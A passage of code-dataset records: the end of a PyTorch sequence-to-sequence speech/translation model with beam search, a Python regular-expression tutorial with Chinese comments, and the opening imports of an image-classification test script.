beam_width\n\t\t\tscore_temp = scores_expand.reshape(-1,1) + score.masked_fill(\n\t\t\t\teos_mask.reshape(-1,1), 0).masked_fill(eos_mask_expand, -1e9)\n\t\t\t# length penalty\n\t\t\tscore_temp = score_temp / (len_map.reshape(-1,1) ** penalty_factor)\n\t\t\t# select top k from k^2\n\t\t\t# (b x beam_width^2 -> b x beam_width)\n\t\t\tscore_select, pos = score_temp.reshape(batch, -1).topk(beam_width)\n\t\t\tscores_expand = score_select.view(-1) * (len_map.reshape(-1,1) ** penalty_factor).view(-1)\n\t\t\t# select correct elements according to pos\n\t\t\tpos = (pos.float() + torch.range(0, (batch - 1) * (beam_width**2), (beam_width**2)).to(\n\t\t\t\tdevice=device).reshape(batch, 1)).long()\n\t\t\tr_idxs, c_idxs = pos // beam_width, pos % beam_width # b x beam_width\n\t\t\tpred_select = pred[r_idxs, c_idxs].view(-1) # b x beam_width -> (b x beam_width)\n\t\t\t# Copy the corresponding previous tokens.\n\t\t\tpreds_expand[:, :i] = preds_expand[r_idxs.view(-1), :i] # (b x beam_width) x i\n\t\t\t# Set the best tokens in this beam search step\n\t\t\tpreds_expand = torch.cat((preds_expand, pred_select.unsqueeze(-1)),dim=1)\n\n\t\t# locate the eos in the generated sequences\n\t\t# eos_mask = (pred_select == EOS) + eos_mask # >=pt1.3\n\t\teos_mask = ((pred_select == EOS).type(torch.uint8)\n\t\t\t+ eos_mask.type(torch.uint8)).type(torch.bool).type(torch.uint8) # >=pt1.1\n\t\tlen_map = len_map + torch.Tensor([1]).repeat(batch * beam_width).to(\n\t\t\tdevice=device).masked_fill(eos_mask.type(torch.uint8), 0)\n\n\t\t# early stop\n\t\tflag = 0\n\t\tif sum(eos_mask.int()) == eos_mask.size(0): flag = 1\n\n\t\treturn scores_expand, preds_expand, eos_mask, len_map, flag\n\n\n\tdef forward_train(self, src, tgt=None, acous_feats=None, acous_lens=None,\n\t\tmode='ST', use_gpu=True, lm_mode='null', lm_model=None):\n\n\t\t\"\"\"\n\t\t\tmode: \tASR \t\tacous -> src\n\t\t\t\t\tAE \t\t\tsrc -> src\n\t\t\t\t\tST\t\t\tacous -> tgt\n\t\t\t\t\tMT \t\t\tsrc -> tgt\n\t\t\"\"\"\n\n\t\t# import pdb; pdb.set_trace()\n\t\t# note: adding .type(torch.uint8) to be compatible with pytorch 1.1!\n\t\tout_dict={}\n\n\t\t# check gpu\n\t\tglobal device\n\t\tdevice = check_device(use_gpu)\n\n\t\t# check mode\n\t\tmode = mode.upper()\n\t\tassert type(src) != type(None)\n\t\tif 'ST' in mode or 'ASR' in mode:\n\t\t\tassert type(acous_feats) != type(None)\n\t\tif 'ST' in mode or 'MT' in mode:\n\t\t\tassert type(tgt) != type(None)\n\n\t\tif 'ASR' in mode:\n\t\t\t\"\"\"\n\t\t\t\tacous -> EN: RNN\n\t\t\t\tin : length reduced fbk features\n\t\t\t\tout: w1 w2 w3 #=6\n\t\t\t\"\"\"\n\t\t\temb_src, logps_src, preds_src, lengths = self._encoder_acous(acous_feats, acous_lens,\n\t\t\t\tdevice, use_gpu, tgt=src, is_training=True, teacher_forcing_ratio=1.0,\n\t\t\t\tlm_mode=lm_mode, lm_model=lm_model)\n\n\t\t\t# output dict\n\t\t\tout_dict['emb_asr'] = emb_src # dynamic\n\t\t\tout_dict['preds_asr'] = preds_src\n\t\t\tout_dict['logps_asr'] = logps_src\n\t\t\tout_dict['lengths_asr'] = lengths\n\n\t\tif 'MT' in mode:\n\t\t\t\"\"\"\n\t\t\t\tEN -> DE: Transformer\n\t\t\t\tsrc: w1 w2 w3 #=7\n\t\t\t\tmid: w1 w2 w3 #=6\n\t\t\t\tout: c1 c2 c3 [dummy] #=7\n\n\t\t\t\tnote: add average dynamic embedding to static embedding\n\t\t\t\"\"\"\n\t\t\t# get tgt emb\n\t\t\ttgt_mask, emb_tgt = self._get_tgt_emb(tgt, device)\n\t\t\t# get src emb\n\t\t\tsrc_trim = self._pre_proc_src(src, device)\n\t\t\temb_dyn_ave = self.EMB_DYN_AVE\n\t\t\temb_dyn_ave_expand = emb_dyn_ave.repeat(\n\t\t\t\tsrc_trim.size(0), src_trim.size(1), 1).to(device=device)\n\t\t\tsrc_mask, emb_src, src_mask_input = self._get_src_emb(\n\t\t\t\tsrc_trim, emb_dyn_ave_expand, device)\n\n\t\t\t# encode decode\n\t\t\tenc_outputs = self._encoder_en(emb_src, src_mask=src_mask_input) # b x len x dim_model\n\t\t\t# decode\n\t\t\tdec_outputs_tgt, logits_tgt, logps_tgt, preds_tgt, _ = \\\n\t\t\t\tself._decoder_de(emb_tgt, enc_outputs, tgt_mask=tgt_mask, src_mask=src_mask_input)\n\n\t\t\t# output dict\n\t\t\tout_dict['emb_mt'] = emb_src # combined\n\t\t\tout_dict['preds_mt'] = preds_tgt\n\t\t\tout_dict['logps_mt'] = logps_tgt\n\n\t\tif 'ST' in mode:\n\t\t\t\"\"\"\n\t\t\t\tacous -> DE: Transformer\n\t\t\t\tin : length reduced fbk features\n\t\t\t\tmid: w1 w2 w3 #=6\n\t\t\t\tout: c1 c2 c3 [dummy] #=7\n\t\t\t\"\"\"\n\t\t\t# get tgt emb\n\t\t\ttgt_mask, emb_tgt = self._get_tgt_emb(tgt, device)\n\t\t\t# run ASR\n\t\t\tif 'ASR' in mode:\n\t\t\t\temb_src_dyn = out_dict['emb_asr']\n\t\t\t\tlengths = out_dict['lengths_asr']\n\t\t\t# else: # use free running if no 'ASR'\n\t\t\t# \temb_src_dyn, _, _, lengths = self._encoder_acous(acous_feats, acous_lens,\n\t\t\t# \t\tdevice, use_gpu, tgt=src, is_training=True, teacher_forcing_ratio=1.0)\n\t\t\telse: # use free running if no 'ASR'\n\t\t\t\temb_src_dyn, _, _, lengths = self._encoder_acous(acous_feats, acous_lens,\n\t\t\t\t\tdevice, use_gpu, is_training=False, teacher_forcing_ratio=0.0,\n\t\t\t\t\tlm_mode=lm_mode, lm_model=lm_model)\n\n\t\t\t# get combined embedding\n\t\t\tsrc_trim = self._pre_proc_src(src, device)\n\t\t\t_, emb_src, _ = self._get_src_emb(src_trim, emb_src_dyn, device)\n\n\t\t\t# get mask\n\t\t\tmax_len = emb_src.size(1)\n\t\t\tlengths = torch.LongTensor(lengths)\n\t\t\tsrc_mask_input = (torch.arange(max_len).expand(len(lengths), max_len)\n\t\t\t\t< lengths.unsqueeze(1)).unsqueeze(1).to(device=device)\n\t\t\t# encode\n\t\t\tenc_outputs = self._encoder_en(emb_src, src_mask=src_mask_input) # b x len x dim_model\n\t\t\t# decode\n\t\t\tdec_outputs_tgt, logits_tgt, logps_tgt, preds_tgt, _ = \\\n\t\t\t\tself._decoder_de(emb_tgt, enc_outputs, tgt_mask=tgt_mask, src_mask=src_mask_input)\n\n\t\t\t# output dict\n\t\t\tout_dict['emb_st'] = emb_src # combined\n\t\t\tout_dict['preds_st'] = preds_tgt\n\t\t\tout_dict['logps_st'] = logps_tgt\n\n\t\treturn out_dict\n\n\n\tdef forward_eval(self, src=None, acous_feats=None, acous_lens=None,\n\t\tmode='ST', use_gpu=True, lm_mode='null', lm_model=None):\n\n\t\t\"\"\"\n\t\t\tbeam_width = 1\n\t\t\tnote the output sequence different from training if using transformer model\n\t\t\"\"\"\n\n\t\t# import pdb; pdb.set_trace()\n\t\tout_dict={}\n\n\t\t# check gpu\n\t\tglobal device\n\t\tdevice = check_device(use_gpu)\n\n\t\t# check mode\n\t\tmode = mode.upper()\n\t\tif 'ST' in mode or 'ASR' in mode:\n\t\t\tassert type(acous_feats) != type(None)\n\t\t\tbatch = acous_feats.size(0)\n\t\tif 'MT' in mode or 'AE' in mode:\n\t\t\tassert type(src) != type(None)\n\t\t\tbatch = src.size(0)\n\n\t\tlength_out_src = self.max_seq_len_src\n\t\tlength_out_tgt = self.max_seq_len_tgt\n\n\t\tif 'ASR' in mode:\n\t\t\t\"\"\"\n\t\t\t\tacous -> EN: RNN\n\t\t\t\tin : length reduced fbk features\n\t\t\t\tout: w1 w2 w3 #=6\n\t\t\t\"\"\"\n\t\t\t# run asr\n\t\t\temb_src, logps_src, preds_src, lengths = self._encoder_acous(acous_feats, acous_lens,\n\t\t\t\tdevice, use_gpu, is_training=False, teacher_forcing_ratio=0.0,\n\t\t\t\tlm_mode=lm_mode, lm_model=lm_model)\n\n\t\t\t# output dict\n\t\t\tout_dict['emb_asr'] = emb_src\n\t\t\tout_dict['preds_asr'] = preds_src\n\t\t\tout_dict['logps_asr'] = logps_src\n\t\t\tout_dict['lengths_asr'] = lengths\n\n\t\tif 'MT' in mode:\n\t\t\t\"\"\"\n\t\t\t\tEN -> DE: Transformer\n\t\t\t\tin : w1 w2 w3 #=7\n\t\t\t\tmid: w1 w2 w3 #=7\n\t\t\t\tout: c1 c2 c3 #=7\n\t\t\t\"\"\"\n\t\t\t# get src emb\n\t\t\tsrc_trim = self._pre_proc_src(src, device)\n\t\t\temb_dyn_ave = self.EMB_DYN_AVE\n\t\t\temb_dyn_ave_expand = emb_dyn_ave.repeat(\n\t\t\t\tsrc_trim.size(0), src_trim.size(1), 1).to(device=device)\n\t\t\tsrc_mask, emb_src, src_mask_input = self._get_src_emb(\n\t\t\t\tsrc_trim, emb_dyn_ave_expand, device)\n\t\t\t# encoder\n\t\t\tenc_outputs = self._encoder_en(emb_src, src_mask=src_mask_input) # b x len x dim_model\n\n\t\t\t# prep\n\t\t\teos_mask_tgt, logps_tgt, dec_outputs_tgt, preds_save_tgt, preds_tgt, preds_save_tgt = \\\n\t\t\t\tself._prep_eval(batch, length_out_tgt, self.dec_vocab_size, device)\n\n\t\t\tfor i in range(1, self.max_seq_len_tgt):\n\n\t\t\t\ttgt_mask, emb_tgt = self._get_tgt_emb(preds_tgt, device)\n\t\t\t\tdec_output_tgt, logit_tgt, logp_tgt, pred_tgt, _ = \\\n\t\t\t\t\tself._decoder_de(emb_tgt, enc_outputs, tgt_mask=tgt_mask, src_mask=src_mask_input)\n\n\t\t\t\teos_mask_tgt, dec_outputs_tgt, logps_tgt, preds_save_tgt, preds_tgt, flag \\\n\t\t\t\t\t= self._step_eval(i, eos_mask_tgt, dec_output_tgt, logp_tgt, pred_tgt,\n\t\t\t\t\t\tdec_outputs_tgt, logps_tgt, preds_save_tgt, preds_tgt, batch, length_out_tgt)\n\t\t\t\tif flag == 1: break\n\n\t\t\t# output dict\n\t\t\tout_dict['emb_mt'] = emb_src\n\t\t\tout_dict['preds_mt'] = preds_tgt\n\t\t\tout_dict['logps_mt'] = logps_tgt\n\n\t\tif 'ST' in mode:\n\t\t\t\"\"\"\n\t\t\t\tacous -> DE: Transformer\n\t\t\t\tin : length reduced fbk features\n\t\t\t\tout: c1 c2 c3 #=7\n\t\t\t\"\"\"\n\t\t\t# get embedding\n\t\t\tif 'ASR' in mode:\n\t\t\t\tpreds_src = out_dict['preds_asr']\n\t\t\t\temb_src_dyn = out_dict['emb_asr']\n\t\t\t\tlengths = out_dict['lengths_asr']\n\t\t\telse:\n\t\t\t\temb_src_dyn, _, preds_src, lengths = self._encoder_acous(acous_feats, acous_lens,\n\t\t\t\t\tdevice, use_gpu, is_training=False, teacher_forcing_ratio=0.0,\n\t\t\t\t\tlm_mode=lm_mode, lm_model=lm_model)\n\t\t\t_, emb_src, _ = self._get_src_emb(preds_src.squeeze(2), emb_src_dyn, device)\n\n\t\t\t# get mask\n\t\t\tmax_len = emb_src.size(1)\n\t\t\tlengths = torch.LongTensor(lengths)\n\t\t\tsrc_mask_input = (torch.arange(max_len).expand(len(lengths), max_len)\n\t\t\t\t< lengths.unsqueeze(1)).unsqueeze(1).to(device=device)\n\t\t\t# encode\n\t\t\tenc_outputs = self._encoder_en(emb_src, src_mask=src_mask_input) # b x len x dim_model\n\n\t\t\t# prep\n\t\t\teos_mask_tgt, logps_tgt, dec_outputs_tgt, preds_save_tgt, preds_tgt, preds_save_tgt = \\\n\t\t\t\tself._prep_eval(batch, length_out_tgt, self.dec_vocab_size, device)\n\n\t\t\tfor i in range(1, self.max_seq_len_tgt):\n\n\t\t\t\ttgt_mask, emb_tgt = self._get_tgt_emb(preds_tgt, device)\n\t\t\t\tdec_output_tgt, logit_tgt, logp_tgt, pred_tgt, _ = \\\n\t\t\t\t\tself._decoder_de(emb_tgt, enc_outputs, tgt_mask=tgt_mask, src_mask=src_mask_input)\n\n\t\t\t\teos_mask_tgt, dec_outputs_tgt, logps_tgt, preds_save_tgt, preds_tgt, flag \\\n\t\t\t\t\t= self._step_eval(i, eos_mask_tgt, dec_output_tgt, logp_tgt, pred_tgt,\n\t\t\t\t\t\tdec_outputs_tgt, logps_tgt, preds_save_tgt, preds_tgt, batch, length_out_tgt)\n\t\t\t\tif flag == 1: break\n\n\t\t\t# output dict\n\t\t\tout_dict['emb_st'] = emb_src\n\t\t\tout_dict['preds_st'] = preds_tgt\n\t\t\tout_dict['logps_st'] = logps_tgt\n\n\t\treturn out_dict\n\n\n\tdef forward_translate(self, acous_feats=None, acous_lens=None, src=None,\n\t\tbeam_width=1, penalty_factor=1, use_gpu=True, max_seq_len=900, mode='ST',\n\t\tlm_mode='null', lm_model=None):\n\n\t\t\"\"\"\n\t\t\trun inference - with beam search (same output format as is in forward_eval)\n\t\t\"\"\"\n\n\t\t# import pdb; pdb.set_trace()\n\n\t\t# check gpu\n\t\tglobal device\n\t\tdevice = check_device(use_gpu)\n\n\t\tif mode == 'ASR':\n\t\t\t_, _, preds_src, _ = self._encoder_acous(acous_feats, acous_lens, device, use_gpu,\n\t\t\t\tis_training=False, teacher_forcing_ratio=0.0, lm_mode=lm_mode, lm_model=lm_model)\n\t\t\tpreds = preds_src\n\n\t\telif mode == 'MT':\n\t\t\tbatch = src.size(0)\n\n\t\t\t# txt encoder\n\t\t\tsrc_trim = self._pre_proc_src(src, device)\n\t\t\temb_dyn_ave = self.EMB_DYN_AVE\n\t\t\temb_dyn_ave_expand = emb_dyn_ave.repeat(\n\t\t\t\tsrc_trim.size(0), src_trim.size(1), 1).to(device=device)\n\t\t\tsrc_mask, emb_src, src_mask_input = self._get_src_emb(\n\t\t\t\tsrc_trim, emb_dyn_ave_expand, device)\n\t\t\tenc_outputs = self._encoder_en(emb_src, src_mask=src_mask_input)\n\t\t\tlength_in = enc_outputs.size(1)\n\n\t\t\t# prep\n\t\t\teos_mask, len_map, preds, enc_outputs_expand, preds_expand, \\\n\t\t\t\tscores_expand, src_mask_input_expand = self._prep_translate(\n\t\t\t\tbatch, beam_width, device, length_in, enc_outputs, src_mask_input)\n\n\t\t\t# loop over sequence length\n\t\t\tfor i in range(1, max_seq_len):\n\n\t\t\t\ttgt_mask_expand, emb_tgt_expand = self._get_tgt_emb(preds_expand, device)\n\t\t\t\tdec_output_expand, logit_expand, logp_expand, pred_expand, score_expand = \\\n\t\t\t\t\tself._decoder_de(emb_tgt_expand, enc_outputs_expand,\n\t\t\t\t\ttgt_mask=tgt_mask_expand, src_mask=src_mask_input_expand,\n\t\t\t\t\tbeam_width=beam_width)\n\n\t\t\t\tscores_expand, preds_expand, eos_mask, len_map, flag = \\\n\t\t\t\t\tself._step_translate(i, batch, beam_width, device,\n\t\t\t\t\t\tdec_output_expand, logp_expand, pred_expand, score_expand,\n\t\t\t\t\t\tpreds_expand, scores_expand, eos_mask, len_map, penalty_factor)\n\t\t\t\tif flag == 1: break\n\n\t\t\t# select the best candidate\n\t\t\tpreds = preds_expand.reshape(batch, -1)[:, :max_seq_len].contiguous() # b x len\n\t\t\tscores = scores_expand.reshape(batch, -1)[:, 0].contiguous() # b\n\n\t\telif mode == 'ST':\n\t\t\tbatch = acous_feats.size(0)\n\n\t\t\t# get embedding\n\t\t\temb_src_dyn, _, preds_src, lengths = self._encoder_acous(acous_feats, acous_lens, device, use_gpu,\n\t\t\t\tis_training=False, teacher_forcing_ratio=0.0, lm_mode=lm_mode, lm_model=lm_model)\n\t\t\t_, emb_src, _ = self._get_src_emb(preds_src.squeeze(2), emb_src_dyn, device)\n\n\t\t\t# get mask\n\t\t\tmax_len = emb_src.size(1)\n\t\t\tlengths = torch.LongTensor(lengths)\n\t\t\tsrc_mask_input = (torch.arange(max_len).expand(len(lengths), max_len)\n\t\t\t\t< lengths.unsqueeze(1)).unsqueeze(1).to(device=device)\n\t\t\t# encode\n\t\t\tenc_outputs = self._encoder_en(emb_src, src_mask=src_mask_input) # b x len x dim_model\n\t\t\tlength_in = enc_outputs.size(1)\n\n\t\t\t# prep\n\t\t\teos_mask, len_map, preds, enc_outputs_expand, preds_expand, \\\n\t\t\t\tscores_expand, src_mask_input_expand = self._prep_translate(\n\t\t\t\tbatch, beam_width, device, length_in, enc_outputs, src_mask_input)\n\n\t\t\t# loop over sequence length\n\t\t\tfor i in range(1, max_seq_len):\n\n\t\t\t\t# import pdb; pdb.set_trace()\n\n\t\t\t\t# Get k candidates for each beam, k^2 candidates in total (k=beam_width)\n\t\t\t\ttgt_mask_expand, emb_tgt_expand = self._get_tgt_emb(preds_expand, device)\n\t\t\t\tdec_output_expand, logit_expand, logp_expand, pred_expand, score_expand = \\\n\t\t\t\t\tself._decoder_de(emb_tgt_expand, enc_outputs_expand,\n\t\t\t\t\ttgt_mask=tgt_mask_expand, src_mask=src_mask_input_expand,\n\t\t\t\t\tbeam_width=beam_width)\n\n\t\t\t\tscores_expand, preds_expand, eos_mask, len_map, flag = \\\n\t\t\t\t\tself._step_translate(i, batch, beam_width, device,\n\t\t\t\t\t\tdec_output_expand, logp_expand, pred_expand, score_expand,\n\t\t\t\t\t\tpreds_expand, scores_expand, eos_mask, len_map, penalty_factor)\n\t\t\t\tif flag == 1: break\n\n\t\t\t# select the best candidate\n\t\t\tpreds = preds_expand.reshape(batch, -1)[:, :max_seq_len].contiguous() # b x len\n\t\t\tscores = scores_expand.reshape(batch, -1)[:, 0].contiguous() # b\n\n\t\telif mode == 'ST_BASE':\n\n\t\t\t\"\"\"\n\t\t\t\tonly for decoding before fine-tuning on ST data\n\t\t\t\tuse average dyn embedding\n\t\t\t\"\"\"\n\t\t\tbatch = acous_feats.size(0)\n\n\t\t\t# import pdb; pdb.set_trace()\n\t\t\t# run asr\n\t\t\t_, _, preds_src, lengths = self._encoder_acous(acous_feats, acous_lens, device, use_gpu,\n\t\t\t\tis_training=False, teacher_forcing_ratio=0.0, lm_mode=lm_mode, lm_model=lm_model)\n\t\t\t# ave embedding\n\t\t\temb_dyn_ave = self.EMB_DYN_AVE\n\t\t\temb_src_dyn = emb_dyn_ave.repeat(\n\t\t\t\t preds_src.size(0), preds_src.size(1), 1).to(device=device)\n\n\t\t\t_, emb_src, _ = self._get_src_emb(preds_src.squeeze(2), emb_src_dyn, device)\n\n\t\t\t# get mask\n\t\t\tmax_len = emb_src.size(1)\n\t\t\tlengths = torch.LongTensor(lengths)\n\t\t\tsrc_mask_input = (torch.arange(max_len).expand(len(lengths), max_len)\n\t\t\t\t< lengths.unsqueeze(1)).unsqueeze(1).to(device=device)\n\t\t\t# encode\n\t\t\tenc_outputs = self._encoder_en(emb_src, src_mask=src_mask_input) # b x len x dim_model\n\t\t\tlength_in = enc_outputs.size(1)\n\n\t\t\t# prep\n\t\t\teos_mask, len_map, preds, enc_outputs_expand, preds_expand, \\\n\t\t\t\tscores_expand, src_mask_input_expand = self._prep_translate(\n\t\t\t\tbatch, beam_width, device, length_in, enc_outputs, src_mask_input)\n\n\t\t\t# loop over sequence length\n\t\t\tfor i in range(1, max_seq_len):\n\n\t\t\t\t# import pdb; pdb.set_trace()\n\n\t\t\t\t# Get k candidates for each beam, k^2 candidates in total (k=beam_width)\n\t\t\t\ttgt_mask_expand, emb_tgt_expand = self._get_tgt_emb(preds_expand, device)\n\t\t\t\tdec_output_expand, logit_expand, logp_expand, pred_expand, score_expand = \\\n\t\t\t\t\tself._decoder_de(emb_tgt_expand, enc_outputs_expand,\n\t\t\t\t\ttgt_mask=tgt_mask_expand, src_mask=src_mask_input_expand,\n\t\t\t\t\tbeam_width=beam_width)\n\n\t\t\t\tscores_expand, preds_expand, eos_mask, len_map, flag = \\\n\t\t\t\t\tself._step_translate(i, batch, beam_width, device,\n\t\t\t\t\t\tdec_output_expand, logp_expand, pred_expand, score_expand,\n\t\t\t\t\t\tpreds_expand, scores_expand, eos_mask, len_map, penalty_factor)\n\t\t\t\tif flag == 1: break\n\n\t\t\t# select the best candidate\n\t\t\tpreds = preds_expand.reshape(batch, -1)[:, :max_seq_len].contiguous() # b x len\n\t\t\tscores = scores_expand.reshape(batch, -1)[:, 0].contiguous() # b\n\n\t\treturn preds\n\n\n\tdef forward_translate_refen(self, acous_feats=None, acous_lens=None, src=None,\n\t\tbeam_width=1, penalty_factor=1, use_gpu=True, max_seq_len=900, mode='ST',\n\t\tlm_mode='null', lm_model=None):\n\n\t\t\"\"\"\n\t\t\trun inference - with beam search (same output format as is in forward_eval)\n\t\t\"\"\"\n\n\t\t# import pdb; pdb.set_trace()\n\n\t\t# check gpu\n\t\tglobal device\n\t\tdevice = check_device(use_gpu)\n\n\t\tif mode == 'ASR':\n\t\t\t_, _, preds_src, _ = self._encoder_acous(acous_feats, acous_lens,\n\t\t\t\tdevice, use_gpu, tgt=src, is_training=False, teacher_forcing_ratio=1.0,\n\t\t\t\tlm_mode=lm_mode, lm_model=lm_model)\n\n\t\t\tpreds = preds_src\n\n\t\telif mode == 'MT':\n\t\t\tbatch = src.size(0)\n\n\t\t\t# txt encoder\n\t\t\tsrc_trim = self._pre_proc_src(src, device)\n\t\t\temb_dyn_ave = self.EMB_DYN_AVE\n\t\t\temb_dyn_ave_expand = emb_dyn_ave.repeat(\n\t\t\t\tsrc_trim.size(0), src_trim.size(1), 1).to(device=device)\n\t\t\tsrc_mask, emb_src, src_mask_input = self._get_src_emb(\n\t\t\t\tsrc_trim, emb_dyn_ave_expand, device)\n\t\t\tenc_outputs = self._encoder_en(emb_src, src_mask=src_mask_input)\n\t\t\tlength_in = enc_outputs.size(1)\n\n\t\t\t# prep\n\t\t\teos_mask, len_map, preds, enc_outputs_expand, preds_expand, \\\n\t\t\t\tscores_expand, src_mask_input_expand = self._prep_translate(\n\t\t\t\tbatch, beam_width, device, length_in, enc_outputs, src_mask_input)\n\n\t\t\t# loop over sequence length\n\t\t\tfor i in range(1, max_seq_len):\n\n\t\t\t\ttgt_mask_expand, emb_tgt_expand = self._get_tgt_emb(preds_expand, device)\n\t\t\t\tdec_output_expand, logit_expand, logp_expand, pred_expand, score_expand = \\\n\t\t\t\t\tself._decoder_de(emb_tgt_expand, enc_outputs_expand,\n\t\t\t\t\ttgt_mask=tgt_mask_expand, src_mask=src_mask_input_expand,\n\t\t\t\t\tbeam_width=beam_width)\n\n\t\t\t\tscores_expand, preds_expand, eos_mask, len_map, flag = \\\n\t\t\t\t\tself._step_translate(i, batch, beam_width, device,\n\t\t\t\t\t\tdec_output_expand, logp_expand, pred_expand, score_expand,\n\t\t\t\t\t\tpreds_expand, scores_expand, eos_mask, len_map, penalty_factor)\n\t\t\t\tif flag == 1: break\n\n\t\t\t# select the best candidate\n\t\t\tpreds = preds_expand.reshape(batch, -1)[:, :max_seq_len].contiguous() # b x len\n\t\t\tscores = scores_expand.reshape(batch, -1)[:, 0].contiguous() # b\n\n\t\telif mode == 'ST':\n\t\t\tbatch = acous_feats.size(0)\n\n\t\t\t# get embedding\n\t\t\temb_src_dyn, _, preds_src, lengths = self._encoder_acous(acous_feats, acous_lens,\n\t\t\t\tdevice, use_gpu, tgt=src, is_training=False, teacher_forcing_ratio=1.0,\n\t\t\t\tlm_mode=lm_mode, lm_model=lm_model)\n\t\t\tsrc_trim = self._pre_proc_src(src, device)\n\t\t\t_, emb_src, _ = self._get_src_emb(src_trim, emb_src_dyn, device) # use ref\n\n\t\t\t# get mask\n\t\t\tmax_len = emb_src.size(1)\n\t\t\tlengths = torch.LongTensor(lengths)\n\t\t\tsrc_mask_input = (torch.arange(max_len).expand(len(lengths), max_len)\n\t\t\t\t< lengths.unsqueeze(1)).unsqueeze(1).to(device=device)\n\t\t\t# encode\n\t\t\tenc_outputs = self._encoder_en(emb_src, src_mask=src_mask_input) # b x len x dim_model\n\t\t\tlength_in = enc_outputs.size(1)\n\n\t\t\t# prep\n\t\t\teos_mask, len_map, preds, enc_outputs_expand, preds_expand, \\\n\t\t\t\tscores_expand, src_mask_input_expand = self._prep_translate(\n\t\t\t\tbatch, beam_width, device, length_in, enc_outputs, src_mask_input)\n\n\t\t\t# loop over sequence length\n\t\t\tfor i in range(1, max_seq_len):\n\n\t\t\t\t# import pdb; pdb.set_trace()\n\n\t\t\t\t# Get k candidates for each beam, k^2 candidates in total (k=beam_width)\n\t\t\t\ttgt_mask_expand, emb_tgt_expand = self._get_tgt_emb(preds_expand, device)\n\t\t\t\tdec_output_expand, logit_expand, logp_expand, pred_expand, score_expand = \\\n\t\t\t\t\tself._decoder_de(emb_tgt_expand, enc_outputs_expand,\n\t\t\t\t\ttgt_mask=tgt_mask_expand, src_mask=src_mask_input_expand,\n\t\t\t\t\tbeam_width=beam_width)\n\n\t\t\t\tscores_expand, preds_expand, eos_mask, len_map, flag = \\\n\t\t\t\t\tself._step_translate(i, batch, beam_width, device,\n\t\t\t\t\t\tdec_output_expand, logp_expand, pred_expand, score_expand,\n\t\t\t\t\t\tpreds_expand, scores_expand, eos_mask, len_map, penalty_factor)\n\t\t\t\tif flag == 1: break\n\n\t\t\t# select the best candidate\n\t\t\tpreds = preds_expand.reshape(batch, -1)[:, :max_seq_len].contiguous() # b x len\n\t\t\tscores = scores_expand.reshape(batch, -1)[:, 0].contiguous() # b\n\n\t\treturn preds\n\n\n\tdef check_var(self, var_name, var_val_set=None):\n\n\t\t\"\"\" to make old models capatible with added classvar in later versions \"\"\"\n\n\t\tif not hasattr(self, var_name):\n\t\t\tvar_val = var_val_set if type(var_val_set) != type(None) else None\n\n\t\t\t# set class attribute to default value\n\t\t\tsetattr(self, var_name, var_val)\n","sub_path":"models/Seq2seq.py","file_name":"Seq2seq.py","file_ext":"py","file_size_in_byte":32382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"300854471","text":"# 23-regex\n# Created by Alexiuce at 2018/6/21\n\"\"\" 正则模块 re\n\n. 匹配任意一个字符(除了\\n)\n\n\\d 任意一个数字0-9\n\\D 非数字\n\n\\s 任意空白字符 : 空格 tab符 \\r \\t 等\n\n\\w 单词字符: 字母 数字 下划线 可以参考标识符命名规则\n\n\\b 单词边界\n\n[] 匹配[]中的任意一个元素\n[^] 同上相反,匹配不包含在[]中的元素\n=====================================================\n数量描述\n\n* : 任意个\n+ : 至少1个\n? : 0个或者1个\n{n} : 重复n个\n{m,} : 至少m个\n{m,n}: m~n 个\n\nre.match 方法\n\n* 默认情况下,match 方法从左向右的检查字符串,一旦不匹配,就结束并返回结果\n\n\"\"\"\n\nimport re\n\n\ndef test():\n \"\"\" re.match(正则,字符串) \"\"\"\n\n pattern = \"[a-z]+\\d{4}\"\n result = re.match(pattern,\"abc123\")\n print(result)\n\n print(\"*\"*30)\n s = r'\\?' # 原始字符串\n print(re.match(s,\"?hello?\"))\n\n p1 = r\"[1-9]\\d?\"\n r1 = re.match(p1,'200')\n print(r1)\n # 分组\n t1 = \"

(.*)

\"\n res2 = re.match(t1,\"

Hell p

\")\n print(res2.group(1)) # Hello p 获取第一组()中的匹配内容\n\n\n html = \"

Html body p

\"\n # ptn = r'<(.+)><(.+)><(.+)>(.+)'\n\n \"\"\"\n 定义组名 (?P)\n 使用组名 (?P=groupname)\n \"\"\"\n\n ptn = r'<(?P.+)><(?P.+)><(?P.+)>.+'\n r2 = re.match(ptn,html)\n print(r2.group(1))\n\n\"\"\" re 模块的其他用法\nsearch : 根据正则搜索字符串,默认情况下一旦找到后,就停止继续搜索,并返回结果\nfindall : 根据正则查找,匹配所有的部分\nsub : 根据正则进行替换, 替换规则可以是一个函数进行处理\nsplit : 根据正则进行字符串分隔\n\n\"\"\"\n\ndef search_test():\n html = \"

Html body p

\"\n result = re.search(r'p',html)\n print(result.group)\n\ndef sub_test():\n html = \"

Html body p90

\"\n # re.sub('html','Html',html)\n\n a = re.sub(r'Html',replace_handle,html)\n print(a)\n\n\n\ndef replace_handle(result):\n return \"Body\"\n\n\ndef regex_test():\n url1 = \"http://www.itcast.com/python/read/list?id=100&pay=yes\"\n url2 = \"http://www.intfin.com/news/read/list?id=100&id=2\"\n url3 = \"http://www.zy-ln.com/afl.asp?id=345\"\n url4 = \"http://3399574.com/class09/list?pay=yes\"\n\n\n reg_url1 = re.sub(r'(http://.+?/).+',handle_test,url1)\n print(reg_url1)\n\ndef handle_test(result):\n return result.group(1)\n\n\n\ndef main():\n # test()\n # search_test()\n sub_test()\n\n\nif __name__ == '__main__':\n main()\n regex_test()\n\n","sub_path":"PythonStudy/01-Day/src/main/23-regex.py","file_name":"23-regex.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"308071328","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport json\nimport csv\nimport argparse\nimport pandas as pd\nimport numpy as np\nfrom math import ceil\nfrom tqdm import tqdm\nimport pickle\nimport shutil\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch.nn import CrossEntropyLoss\nfrom torchvision import datasets, models\nimport torch.backends.cudnn as cudnn\nimport torch.nn.functional as F\nimport cv2\n\n\nfrom transforms import transforms\nfrom models.LoadModel import MainModel\nfrom utils.dataset_DCL import collate_fn4train, collate_fn4test, collate_fn4val, dataset\nfrom config import LoadConfig, load_data_transformers\n# from utils.test_tool import set_text, save_multi_img, cls_base_acc\n\n# if int(torch.__version__.split('.')[0])< 1 and 